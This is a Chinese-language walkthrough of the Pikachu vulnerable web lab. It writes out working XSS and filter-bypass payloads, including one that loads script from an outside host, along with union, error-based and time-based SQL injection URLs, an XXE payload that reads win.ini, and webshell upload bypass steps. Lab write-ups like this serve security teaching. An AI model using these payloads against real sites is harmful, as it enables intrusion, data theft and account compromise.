1. 程式人生 > 其它 >pikachu通關

pikachu通關

密碼爆破

1.1表單爆破

Burpsuite抓包直接爆

1.2驗證碼繞過(on server)

驗證碼在服務端只驗證一次,那麼手動輸入驗證碼後再次爆

1.3驗證碼繞過(on client)

驗證碼只在客戶端進行驗證,並不會傳送到服務端,所以抓包的時候直接把驗證碼去掉再爆

1.4繞過token防護

這裡我就得向伺服器獲取到token值,然後遞迴和字典一起爆

獲取到的第一個token值,需要手動貼上填一下,另外重定向哪裡也需要設成一直

XSS注入

反射型(get)

直接再url中寫入payload

1<script>alert('1')</script>

反射型(post)

在搜素框中寫入payload,點選時觸發

1<h onclick=alert('1')>1<h>

儲存型

留言板中留個圖片,不加源,同樣是點選觸發

1<img  src="" onclick=alert('1')>

DOM型

直接單引號閉合躍出,加上點選觸發

1' onclick="alert('xss')">

DOM_XSS-X

同理

盲打

不管3721,嘗試就對了

繞過濾

第一種,大小寫

1<ScRipt>alert(1)</ScRIpT>

第二種,雙重尖括號雙倍快樂

12<<SCRIPT>alert("XSS");//<</SCRIPT>

第三種,沒有標籤繞過
某些瀏覽器中不需要加入常規XSSpayload中的”>”部分.例如firefox會為你非常體貼的安全閉合HTML標籤,並且加入閉合標籤!

1<SCRIPT SRC=http://xss.rocks/xss.js?< B >


其他繞過方式

1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

htmlspecialchars實體轉換

使用Javascript偽協議

1javascript:alert(document.domain)

href輸出

同樣可以使用偽協議輸出

1javascript:alert(document.domain)

js輸出

閉合,輸出

CSRF跨站偽造請求

GET型

直接存在於URL中,實現起來很簡單

post型

POST注入稍微麻煩一點需要先截包,然後使用burpsuite生成一個表單,掛在伺服器裡,讓受害者點選

token

SQL注入

數字型注入

布林判斷尋找注入點

直接order by,猜出欄位數

查詢顯示位

檢視資料庫版本和當前庫名

根據得到的庫名得到pikachu中所有表名

查詢users表中的所有欄位資訊

然後直接查詢pikachu庫中users表的username和password資訊

同理可以查詢資料庫root使用者的密碼

解密

字元型注入

單引號判斷注入點

閉合單引號

判斷欄位數

使用updatexml報錯注入得到pikachu庫下的表名

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查詢

拿到users表的欄位資訊

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查詢

拿users表的具體內容

1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查詢

搜尋型注入

可以發現單引號出現報錯,註釋掉後回顯正常,那麼就可以選擇聯合注入或者是報錯注入,這裡就不佔篇幅了

不知名型別注入

可以看見他構造的閉合有點奇怪,是'),有的情況下還有雙引號、中括號等奇葩方式,但是隻要找到注入點就基本結束了,注入方法參考上面的聯合和報錯

insert、update、delete注入

加入萬能的單引號

再次使用報錯

延時注入(布林注入與延時同理不做演示)

payload如下

123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+


寬位元組注入

帶入%82復活單引號


接下來就簡單了,和上面一樣

命令執行

遠端命令執行

例如在執行ping命令後加管道符(或&&)執行systeminfo獲取系統詳細資訊,

遠端程式碼執行

例如輸入phpinfo();

檔案包含

本地檔案包含

一般配合目錄遍歷使用,例如讀取伺服器的hosts檔案

遠端檔案包含

遠端伺服器準備
docker快速開一個lnmp服務

12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5

包含遠端檔案

檔案下載

目錄遍歷下載個記事本

檔案上傳

客戶端檢查

將webshell上傳時改成圖片格式,截包後改成php格式

服務端檢查

不用改成圖片格式,直接上傳webshell,截包將Content-Type宣告為 image/png

webshell連線

影象內容檢查

這裡使用了getimagesize() 函式獲取影象大小及檔案頭是否是真實的圖片,所以需要將webshell寫入真實的圖片來繞過檢查

webshell連線
這裡的shell是放在圖片裡的,所以需要讓nginx錯誤的解析圖片釋放webshell

越權

水平越權

直接替換使用者查詢即可

垂直越權

admin登陸後進入新增使用者複製URL退出登陸,登陸pikachu進入admin的管理介面新增一個使用者lisi

目錄遍歷

敏感資訊洩露

直接F12檢視程式碼

PHP反序列化

XML注入

payload

12345<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

URL重定向

SSRF

curl_exec()函式

file_get_contents()函式

https://brands.cnblogs.com/huawei)